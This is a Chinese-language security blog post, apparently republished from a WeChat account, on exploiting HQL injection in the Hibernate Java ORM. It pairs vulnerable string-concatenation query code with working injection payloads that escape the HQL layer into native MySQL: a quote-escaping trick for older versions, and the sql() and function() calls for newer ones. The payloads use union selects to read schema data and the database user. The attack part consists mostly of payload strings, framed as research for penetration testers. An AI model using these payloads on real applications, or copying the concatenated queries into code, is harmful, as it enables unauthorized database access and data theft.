村护第1day,闲来无事,更新笔记。
HQL注入深入利用
本文主要是针对Hibernate框架产生的SQL注入进行深入研究,网上的文章千篇一律的都是针对HQL语言的注入,利用方式有限。其实国外早在2015年就发过关于Hibernate框架的逃逸姿势,但只是针对低版本的。
Hibernate框架
Hibernate是一种ORM框架,它是支持使用原生SQL或HQL语言(Hibernate框架自己的语言)进行SQL操作的
通常使用Hibernate框架都是使用HQL语言方式进行查询
1、原生SQL语句
String parameter = req.getParameter("name");
Query query = session.createSQLQuery("SELECT table_name FROM information_schema.tables where table_schema=?");
query.setParameter(1, parameter);
2、HQL语句
将数据库tables映射为相关的类,通过此类进行数据查询,使用的是HQL自己的语言
String parameter = req.getParameter("name");
Query query = session.createQuery("from com.demo.bean.User where tableschema = ?1", User.class);
query.setParameter(1, parameter);
HQL注入
HQL注入就是利用Hibernate框架产生的注入点,按照查询方式不同也分为两种注入
原生SQL语句拼接导致注入
String parameter = req.getParameter("name");
Query query = session.createSQLQuery("SELECT table_name FROM information_schema.tables where table_schema='"+parameter+"'");
这种因为使用的数据库原生的语句,使用对应数据库SQL语句进行拼接注入即可,无任何限制。
HQL语句拼接导致注入
String parameter = req.getParameter("name");
Query query = session.createQuery("from com.demo.bean.User where tableschema='"+parameter+"'", User.class);
1、Hibernate框架首先会去解析createQuery()函数中语句是否符合HQL语法,不符合则会HQL语法错误
2、符合HQL语法后,HQL框架会将语句解析成对应数据库的原生SQL语句
3、最后将原生SQL语句去数据库中进行查询获取结果,此时原生SQL语句如果不正确则会导致数据库层面的报错(不同数据库则是不同的报错了)
上面是HQL语法的语句、下面则是HQL引擎转换的mysql数据库支持的SQL语句
简单HQL层面注入
网上搜了好多HQL注入的文章,基本都是在HQL层面进行注入,HQL注入大部分遇到的都是这种情况下的注入
按照HQL的语法搭建的环境
1、information_schema.tables表名映射为com.demo.bean.User类
2、table_name字段映射为tablename
3、table_schema字段映射为tableschema
1、正常查询
?name=mysql
2、union查询在5.6.15版本之前不支持
name=mysql' union select 1,'2 #报错
6.x版本开始支持union查询,但是也只能利用HQL语法
name=mysql' union from User where '1'='1
3、多行注释/**/,在5.6.15版本之前不支持,在6.0.1开始支持多行注释
?name=mysql'and/**/'1'='1 #报错
不能使用单行注释#
或+--+
?name=mysql'and/**/'1'='1'+--+ #报错
?name=mysql'and/**/'1'='1'# #报错
?name=mysql'and#%0d%0a'1'='1 #报错
4、可以使用子查询,但必须是HQL已经映射的表和字段
name=mysql' and (select tablename from User where tablename='user')='user
未映射的表不能查询
name=mysql' and (select tablename from information_schema.tables)='1 #报错
未映射的字段名不能查询
name=mysql' and (select table_name from User)='1 #报错
映射后表名、列名大小写敏感
?name=mysql'and(select Tablename from User)='1 #报错
?name=mysql'and(select tablename from user)='1 #报错
5、不支持*
查询
?name=mysql' and (select * from User where tablename='user')='user
那利用HQL能查什么呢?
最早追溯到一篇HQL分析文章:https://blog.h3xstream.com/2014/02/hql-for-pentesters.html
还有一个最新出的工具HQLmap:https://github.com/PaulSec/HQLmap
1、如果有报错信息的话,那就根据报错回显去看表名、列名,根据表名进行盲注或报错注入查询数据。或者根据回显去猜测可能存在的表名和列名,然后进行查询数据
2、如果没有报错信息的话
使用and或or进行列名的枚举
?name=mysql' and xxxxx = '1
使用子查询进行表名枚举
?name=mysql'or+(select+1+from+XXXX+where+1=2)='1
主要还是拼的字典的好坏
逃逸HQL层面注入
因为HQL框架不管你HQL语句是什么,最终还是要转为SQL语句在数据库中进行查询的。
下面主要以MYSQL数据库进行研究,当然不同版本HQL逃逸方式是不同的。
正常union查询肯定是不行的
低于5.x版本逃逸
1、在5.6.15之前,WHERE子句中是可以使用用户自定义函数的,这就说明数据库本身的函数也是可以使用的
https://docs.jboss.org/hibernate/orm/5.6/userguide/html_single/Hibernate_User_Guide.html#hql-user-defined-functions
updatexml()
version()
2、经过大量文章查询,在5.6.15版本之前,存在着对单引号转义的差异导致的逃逸问题
https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf
https://blog.sonarsource.com/exploiting-hibernate-injections
https://ultramangaia.github.io/blog/2017/pwn2win-ctf-2017.html
https://www.slideshare.net/slideshow/orm2pwn-exploiting-injections-in-hibernate-orm/55555661
在HQL语言,字符串和常规SQL语句一样都是使用单引号包裹
from Tables where name = 'mysql'
引擎是不会对字符串里面的内容进行解析的
当在字符串中加入一个转译字符
from Tables where name = 'mysql'
HQL引擎是不识别转译字符的,它会将
tony
作为一个字符串,原封不动的转为mysql语句
此处就导致了一个差异,mysql是识别转译字符的,所以爆了语法错误
然后利用这个差异,构造一个HQL以为是字符串,但转为mysql变成语句的POC即可
mysql''and+1=2+union+select+user(),version()#
拼接HQL语句,此时mysql''and+1=2+union+select+user(),version()#
是一整个字符串,所以引擎不去解析
from Tables where name = 'mysql''and+1=2+union+select+user(),version()#'
最后转为SQL语句,逃逸成功执行union语句
高于6.x 版本逃逸
1、从6.0.1.Final版本开始,测试发现转译符失效
'mysqla' => 'mysql\a'
'mysql' => 'mysql\'
'mysql'' => 'mysql'''
'mysql''' => 'mysql'''''
从6.1.7.Final版本开始又有了变化
'mysqla' => 'mysql\a'
'mysql' => 'mysql\'
'mysql'' => 'mysql\''
'mysql''' => 'mysql\'''
'mysql\' => 'mysql\\'
所以无法使用此方式逃逸了
2、在6.x版本中发现新增了一个sql()函数,在5.x版本是不支持的
https://docs.jboss.org/hibernate/orm/6.0/userguide/html_single/Hibernate_User_Guide.html#hql-function-sql
意思就是可以执行SQL语句,主要是两种方式
sql('select 1,2,3')
sql('select 1,2,?','3')
1、第一种是将函数里面的字符串直接拼接SQL语句中,然后去执行
2、第二种就是将后面参数预编译替换占位符?
,然后再拼接到SQL语句中执行
既然是以字符串拼接的方式进行解析,那就能构造出poc进行利用
?name=mysql' and sql('1=2 union select table_name,table_schema from information_schema.tables#')='1
下面是最终解析完的sql语句,成功逃逸
通用版本逃逸
上面6.x版本提到了一个sql()
函数,但是只能6.x版本可用
但是发现有一个函数在5.x和6.x都能使用,那就是JPQL语言的function()
函数
什么是JPQL语言可以自己去了解一下,在Hibernate框架中是同时支持JPQL语言和HQL语言的
https://docs.jboss.org/hibernate/orm/5.6/userguide/html_single/Hibernate_User_Guide.html#hql-user-defined-functions-where-clause
function()
函数是用来调用自定义函数或数据库自带函数的,和某些动态函数调用差不多吧
function('version') => version()
function('updatexml',1,1,1) => updatexml(1,1,1)
function('aaaa''bbbb',1,1,1) => aaaa''bbbb(1,1,1) 5.x版本
function('aaaa''bbbb',1,1,1) => aaaa'bbbb(1,1,1) 6.x版本
它首先将第一参数作为函数名,随后拼接一个括号,后面的参数则是括号里的内容
而function()
函数的利用和sql()
函数一样,是直接拼接在解析后的SQL语句中的,而且第一参数的内容没有任何限制
这样就可以构造一个可利用POC了
?name=mysql' and function('1=2 union select table_name,table_schema from information_schema.tables#')='
这里注意function函数会在后面添加一对括号,可以使用单行注释进行注释
结
上面只是研究了针对mysql的高低版本逃逸姿势,至于其他数据库pg、oracle、mssql的逃逸方式基本上也一样
如果有其他逃逸方式可以加好友沟通一起研究
转载需标明出处:XG小刚
原文始发于微信公众号(XG小刚):HQL注入深入利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论